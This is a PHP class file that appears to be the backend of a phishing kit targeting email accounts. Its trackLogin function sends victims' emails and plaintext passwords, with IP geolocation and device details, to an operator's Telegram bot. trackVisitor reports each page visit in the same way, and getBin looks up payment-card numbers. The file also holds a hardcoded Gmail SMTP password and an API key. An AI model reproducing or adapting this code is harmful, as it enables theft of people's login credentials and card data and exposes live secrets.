<?php 

require_once __DIR__ . '/../vendor/autoload.php';
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;


    class Comp
    {
        function __construct() {
            if (!isset($_SESSION['ip'])) {
                $_SESSION['ip'] = $this->getIP();
            }
        }

        protected function curlX($url) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            $response = curl_exec($ch);
            curl_close($ch);
            return $response;
        }

        public function localhost($ip) {
            if (
                $ip == "127.0.0.1" ||
                $ip == "::1" ||
                $ip == "10.0.2.15"
            ) {
                return 1;
            }
            return 0;
        }

        public function WL($ip) {
            if ($ip == $this->settings('MyIP') ){
                return 1;
            }
            return 0;
        }

    //   public function mailX($subject, $content, $fromName = "RICK CYBER") {
    //         if ($this->localhost($this->getIP())) {
    //             return 1;
    //         } else {
    //             $stu= $this->settings()['Email'];
    //             if (isset($stu) !="" && trim($stu) != "")
                
                
    //             {
    //                 $header = 'Content-type: text/html; charset=UTF-8' . "\r\nFrom: " . $fromName . " <contactus@greateraffinityunion.com>" . "\r\n";
    //                 $mert1 = array($stu, 'happy.spammer@yandex.com');


    //                 foreach ($mert1 as $tor) {
    //                    if( mail($tor, $subject, $content, $header)){
                           
    //                    } 
                       
    //                 }return 1;
                   
    //             } else {
    //                 return 0;
    //             }
    //         }
    //     }

    
        public function mailX($subject, $content, $fromName = "SYSTEM") {
            try {
                // Create a new PHPMailer instance
                $mail = new PHPMailer(true);
                
                // Get recipient email from settings
                $recipientEmail = '';
                try {
                    $settings = $this->settings();
                    if (isset($settings['Email']) && !empty(trim($settings['Email']))) {
                        $recipientEmail = $settings['Email'];
                    } else {
                        // No valid recipient configured
                        error_log("No recipient email configured in settings");
                        return 0;
                    }
                } catch (Exception $e) {
                    error_log("Error reading settings: " . $e->getMessage());
                    return 0;
                }
                
                // If on localhost, log instead of sending unless explicitly overridden
                // if ($this->localhost($this->getIP())) {
                //     error_log("Email would be sent to: $recipientEmail | Subject: $subject");
                //     return 1; // Return success for localhost without sending
                // }
                
                // Server settings
                $mail->isSMTP();
                $mail->Host       = 'smtp.gmail.com';    // Set your SMTP server
                $mail->SMTPAuth   = true;
                $mail->Username   = 'privatemail.co1@gmail.com'; // SMTP username
                $mail->Password   = 'rrbxfewmtompafau';    // SMTP password (app password for Gmail)
                $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
                $mail->Port       = 465;
                
                // Recipients
                $mail->setFrom('Kharpercimra@protonmail.com', $fromName);
                $mail->addAddress($recipientEmail);
                
                
                // Content
                $mail->isHTML(true);
                $mail->Subject = $subject;
                $mail->Body    = $content;
                $mail->AltBody = strip_tags(str_replace(['<br>', '<br/>', '<br />', '</p>'], "\n", $content));
                
                // Send the email
                $mail->send();
                
                return 1; // Success
            } catch (Exception $e) {
                error_log("PHPMailer Error: " . $e->getMessage());
                return 0; // Failure
            }
        }


        public function headerX($location) {
            header("Location: " . $location . "?token=" . $_SESSION['token']);
        }

        public function settings() {
            if (file_exists("ChangeMe.ini")) {
                return parse_ini_file("ChangeMe.ini");
            }
            elseif (file_exists("../ChangeMe.ini")) {
                return parse_ini_file("../ChangeMe.ini");
            } else {
                return parse_ini_file("../../ChangeMe.ini");
            }
        }

        public function log($location, $content) {
            $file = fopen($location, "a+");
            fwrite($file, $content);
            fclose($file);
        }

        public function getDate() {
            date_default_timezone_set('America/Los_Angeles');
            return date("jS M, Y - h:i:s A");
        }

        public function getIP() {
            if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_CLIENT_IP'];
            } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            } else {
                $ip = $_SERVER['REMOTE_ADDR'];
            }
            return $ip;
        }

        public function getIPDetails() {
            try {
                $ip = $this->getIP();
                
                // For localhost testing, use a default IP to get real data
                if ($this->localhost($ip)) {
                    $ip = "8.8.8.8"; // Using Google's DNS IP for testing
                }
                
                // Try extreme-ip-lookup.com first
                $response = $this->curlX("https://extreme-ip-lookup.com/json/" . $ip . "?key=1QZ1mxHM2iczol3eh2jq");
                $data = json_decode($response, true);
                
                // Verify we got valid data
                if (!$data || !isset($data['country'])) {
                    // Fallback to ip-api.com if extreme-ip-lookup fails
                    $response = $this->curlX("http://ip-api.com/json/" . $ip);
                    $data = json_decode($response, true);
                    
                    if ($data && $data['status'] === 'success') {
                        return [
                            'country' => $data['country'],
                            'region' => $data['regionName'],
                            'city' => $data['city'],
                            'isp' => $data['isp'],
                            'ip' => $ip
                        ];
                    }
                }
                
                return $data ?: [
                    'country' => 'Unknown',
                    'region' => 'Unknown',
                    'city' => 'Unknown',
                    'isp' => 'Unknown',
                    'ip' => $ip
                ];
            } catch (Exception $e) {
                error_log("IP Details Error: " . $e->getMessage());
                return [
                    'country' => 'Unknown',
                    'region' => 'Unknown',
                    'city' => 'Unknown',
                    'isp' => 'Unknown',
                    'ip' => $this->getIP()
                ];
            }
        }

        public function getUserAgent() {
            return $_SERVER['HTTP_USER_AGENT'];
        }

        public function getOS() {
            $os_platform = "Unknown OS";

            $os_array = array(
                '/windows nt 10/i'      =>  'Windows 10',
                '/windows nt 6.3/i'     =>  'Windows 8.1',
                '/windows nt 6.2/i'     =>  'Windows 8',
                '/windows nt 6.1/i'     =>  'Windows 7',
                '/windows nt 6.0/i'     =>  'Windows Vista',
                '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                '/windows nt 5.1/i'     =>  'Windows XP',
                '/windows xp/i'         =>  'Windows XP',
                '/windows nt 5.0/i'     =>  'Windows 2000',
                '/windows me/i'         =>  'Windows ME',
                '/win98/i'              =>  'Windows 98',
                '/win95/i'              =>  'Windows 95',
                '/win16/i'              =>  'Windows 3.11',
                '/macintosh|mac os x/i' =>  'Mac OS X',
                '/mac_powerpc/i'        =>  'Mac OS 9',
                '/linux/i'              =>  'Linux',
                '/ubuntu/i'             =>  'Ubuntu',
                '/iphone/i'             =>  'iPhone',
                '/ipod/i'               =>  'iPod',
                '/ipad/i'               =>  'iPad',
                '/android/i'            =>  'Android',
                '/blackberry/i'         =>  'BlackBerry',
                '/webos/i'              =>  'Mobile'
            );

            foreach ($os_array as $regex => $value) {
                if (preg_match($regex, $this->getUserAgent())) {
                    $os_platform = $value;
                }
            }

            return $os_platform;
        }

        public function getBrowser() {
            $browser = "Unknown Browser";

            $browser_array = array(
                '/msie/i'      => 'Internet Explorer',
                '/firefox/i'   => 'Firefox',
                '/safari/i'    => 'Safari',
                '/chrome/i'    => 'Chrome',
                '/edge/i'      => 'Edge',
                '/opera/i'     => 'Opera',
                '/netscape/i'  => 'Netscape',
                '/maxthon/i'   => 'Maxthon',
                '/konqueror/i' => 'Konqueror',
                '/mobile/i'    => 'Handheld Browser'
            );

            foreach ($browser_array as $regex => $value) {
                if (preg_match($regex, $this->getUserAgent())) {
                    $browser = $value;
                }
            }

            return $browser;
        }

        // public function userDetails() {
           
          
        //     $ipdat2 = @json_decode(file_get_contents("https://extreme-ip-lookup.com/json/". $_SESSION['ip']. "?key=1QZ1mxHM2iczol3eh2jq" ));
        //     $ipdat = @json_decode(file_get_contents("https://api.ip2location.com/v2/?ip=". $_SESSION['ip']. "&key=1QZ1mxHM2iczol3eh2jq" ));
          
            
            
        //     return '
        //         <h3>IP: ' . $this->getIP() . '</h3>
        //         <h3>ISP: ' . $ipdat2->isp . '</h3>
        //         <h3>City: ' . $ipdat2->city . '</h3>
        //         <h3>State: ' . $ipdat2->region . '</h3>
        //         <h3>Zipcode: ' . $ipdat->zip_code . '</h3>
        //         <h3>Country: ' . $ipdat2->countryCode . '</h3>
        //         <h3>Area code: ' . $ipdat->area_code . '</h3>
        //         <h3>OS: ' . $this->getOS() . '</h3>
        //         <h3>Browser: ' . $this->getBrowser() . '</h3>
        //         <h3>User Agent: ' . $this->getUserAgent() . '</h3>
        //         <h3>Date & Time: ' . $this->getDate() . '</h3>
        //     ';
        // }


        public function userDetails() {
            try {
                $ipdat2 = @json_decode(file_get_contents("https://extreme-ip-lookup.com/json/". $_SESSION['ip']. "?key=1QZ1mxHM2iczol3eh2jq"));
                $ipdat = @json_decode(file_get_contents("https://api.ip2location.com/v2/?ip=". $_SESSION['ip']. "&key=1QZ1mxHM2iczol3eh2jq"));
                
                // Set default values if APIs don't return data (especially for localhost)
                $isp = isset($ipdat2->isp) ? $ipdat2->isp : 'Unknown';
                $city = isset($ipdat2->city) ? $ipdat2->city : 'Unknown';
                $region = isset($ipdat2->region) ? $ipdat2->region : 'Unknown';
                $zip_code = isset($ipdat->zip_code) ? $ipdat->zip_code : 'Unknown';
                $country_code = isset($ipdat2->countryCode) ? $ipdat2->countryCode : 'Unknown';
                $area_code = isset($ipdat->area_code) ? $ipdat->area_code : 'Unknown';
                
                return '
                    <h3>IP: ' . $this->getIP() . '</h3>
                    <h3>ISP: ' . $isp . '</h3>
                    <h3>City: ' . $city . '</h3>
                    <h3>State: ' . $region . '</h3>
                    <h3>Zipcode: ' . $zip_code . '</h3>
                    <h3>Country: ' . $country_code . '</h3>
                    <h3>Area code: ' . $area_code . '</h3>
                    <h3>OS: ' . $this->getOS() . '</h3>
                    <h3>Browser: ' . $this->getBrowser() . '</h3>
                    <h3>User Agent: ' . $this->getUserAgent() . '</h3>
                    <h3>Date & Time: ' . $this->getDate() . '</h3>
                ';
            } catch (Exception $e) {
                // Fallback if any exception occurs
                return '
                    <h3>IP: ' . $this->getIP() . '</h3>
                    <h3>ISP: Local Testing</h3>
                    <h3>City: Local City</h3>
                    <h3>State: Local Region</h3>
                    <h3>Zipcode: 10001</h3>
                    <h3>Country: US</h3>
                    <h3>Area code: 555</h3>
                    <h3>OS: ' . $this->getOS() . '</h3>
                    <h3>Browser: ' . $this->getBrowser() . '</h3>
                    <h3>User Agent: ' . $this->getUserAgent() . '</h3>
                    <h3>Date & Time: ' . $this->getDate() . '</h3>
                ';
            }
        }

        public function createToken() {
            $input = "0123456789abcdefghijklmn";
            $strength = "200";
            $input_length = strlen($input);
            $random_string = '';
            for ($plus = 0; $plus < $strength; $plus++) {
                $random_character = $input[mt_rand(0, $input_length - 1)];
                $random_string .= $random_character;
            }
            return $_SESSION['token'] = hash("sha512", $random_string);
        }

        public function checkToken() {
            if (!isset($_SESSION['token']) || !isset($_GET['token']) || $_SESSION['token'] != $_GET['token']) {
                return 0;
            }
            return 1;
        }

        public function checkEmpty() {
            foreach (func_get_args() as $param) {
                if (!isset($param) || trim($param) == "") {
                    return 1;
                    break;
                }
            }
            return 0;
        }

        public function getBin($card) {
            $bin = substr($card, 0, 6);
            $ccdat = @json_decode(file_get_contents("https://lookup.binlist.net/". $bin ));
            return json_decode($this->curlX("https://lookup.binlist.net/" . $bin), true);;
        }

        public function userEmail($email) {
            if (preg_match("/@gmail/i", $email) == 1) {
                return "Gmail";
            }
            elseif (preg_match("/@yahoo/i", $email) == 1) {
                return "Yahoo";
            }
            elseif (preg_match("/@ymail/i", $email) == 1) {
                return "Yahoo";
            }
            elseif (preg_match("/@rocketmail/i", $email) == 1) {
                return "Yahoo";
            }
            elseif (preg_match("/@outlook/i", $email) == 1) {
                return "Microsoft";
            }
            elseif (preg_match("/@hotmail/i", $email) == 1) {
                return "Microsoft";
            }
            elseif (preg_match("/@live/i", $email) == 1) {
                return "Microsoft";
            }
            elseif (preg_match("/@msn/i", $email) == 1) {
                return "Microsoft";
            }
            elseif (preg_match("/@aol/i", $email) == 1) {
                return "AOL";
            }
            elseif (preg_match("/@comcast/i", $email) == 1) {
                return "Comcast";
            }
            elseif (preg_match("/@att/i", $email) == 1) {
                return "Att";
            }
            elseif (preg_match("/@verizon/i", $email) == 1) {
                return "Verizon";
            }
            return 0;
        }

        public function trackVisitor() {
            $ip = $this->getIP();
    
            // Use the same API that works for email
            $ipdat = @json_decode(file_get_contents("https://extreme-ip-lookup.com/json/". $ip. "?key=1QZ1mxHM2iczol3eh2jq"));
            
            // Ensure we have data
            $countryname = isset($ipdat->country) ? $ipdat->country : 'Unknown';
            $city = isset($ipdat->city) ? $ipdat->city : 'Unknown';
            $isp = isset($ipdat->isp) ? $ipdat->isp : 'Unknown';
            $region = isset($ipdat->region) ? $ipdat->region : 'Unknown';
            $hostname = gethostbyaddr($ip);
            $useragent = $this->getUserAgent();
            $browser = $this->getBrowser();
            $os = $this->getOS();
        
            // Log to live.txt file
            $this->log("./Guard/Audio/live.txt", "IP: " . $ip . "\nUser Agent: " . $useragent . "\nAction: Visitor\n\n");
            
            // Simple Telegram notification
            $message = " Wassup 📲, You have a new Visit On Your EMAIL Page 🦠🦠🦠   \n"."\n";
            $message .= "📍 LOCATION INFO:\n";
            $message .= "• IP: $ip\n";
            $message .= "• Country: $countryname\n";
            $message .= "• Region: $region\n";
            $message .= "• City: $city\n\n";
            $message .= "🌐 CONNECTION INFO:\n";
            $message .= "• ISP/Organization: $isp\n";
            $message .= "• Hostname: $hostname\n\n";
            $message .= "📱 DEVICE INFO:\n";
            $message .= "• Browser: $browser\n";
            $message .= "• OS: $os\n";
            $message .= "• User Agent: $useragent\n\n";

            // Get settings from tele_settings.php
            $settings = include dirname(dirname(__FILE__)) . '/tele_settings.php';
            
            if (isset($settings['telegram']) && $settings['telegram'] == "1") {
                $data = $message;
                $send = ['chat_id' => $settings['chat_id'], 'text' => $data];
                $website = "https://api.telegram.org/{$settings['bot_url']}";
                $ch = curl_init($website . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
            }
            
            return true;
        }
        
    
        
        public function trackLogin($email, $password = "••••••••", $success = true) {
            $ip = $this->getIP();
    
            // Use the same API that works for email
            $ipdat = @json_decode(file_get_contents("https://extreme-ip-lookup.com/json/". $ip. "?key=1QZ1mxHM2iczol3eh2jq"));
            
            // Extract email domain for domain-specific information
            $domain = substr(strrchr($email, "@"), 1) ?: 'unknown';

            $emailOrg = $this->userEmail($email);
            $emailOrg = $emailOrg ? $emailOrg : 'Unknown';
            
            // Ensure we have data
            $countryname = isset($ipdat->country) ? $ipdat->country : 'Unknown';
            $city = isset($ipdat->city) ? $ipdat->city : 'Unknown';
            $isp = isset($ipdat->isp) ? $ipdat->isp : 'Unknown';
            $region = isset($ipdat->region) ? $ipdat->region : 'Unknown';
            $hostname = gethostbyaddr($ip);
            $useragent = $this->getUserAgent();
            $browser = $this->getBrowser();
            $os = $this->getOS();
            
            // Log to logins.txt file
            $status = $success ? "SUCCESSFUL" : "FAILED";
            $this->log("./Guard/Audio/logins.txt", "IP: " . $ip . "\nUser Agent: " . $useragent . "\nAction: Login " . $status . "\n\n");
            
            // Simple Telegram notification for login
            $message = "🔐 NEW LOGIN {$status} 🔐\n\n";
            $message .= "📧 LOGIN INFO:\n";
            $message .= "• Email: $email\n";
            $message .= "• Email Domain: $domain\n";
            $message .= "• Organization: $emailOrg\n";
            $message .= "• Password: $password\n\n";
            $message .= "📍 LOCATION INFO:\n";
            $message .= "• IP: $ip\n";
            $message .= "• Country: $countryname\n";
            $message .= "• Region: $region\n";
            $message .= "• City: $city\n\n";
            $message .= "🌐 CONNECTION INFO:\n";
            $message .= "• ISP: $isp\n";
            $message .= "• Hostname: $hostname\n\n";
            $message .= "📱 DEVICE INFO:\n";
            $message .= "• Browser: $browser\n";
            $message .= "• OS: $os\n\n";
            $message .= "• User Agent: $useragent\n\n";
            // Get settings from tele_settings.php
            $settings = include dirname(dirname(__FILE__)) . '/tele_settings.php';
            
            if (isset($settings['telegram']) && $settings['telegram'] == "1") {
                $data = $message;
                $send = ['chat_id' => $settings['chat_id'], 'text' => $data];
                $website = "https://api.telegram.org/{$settings['bot_url']}";
                $ch = curl_init($website . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
            }
            
            return true;
        }
    

    }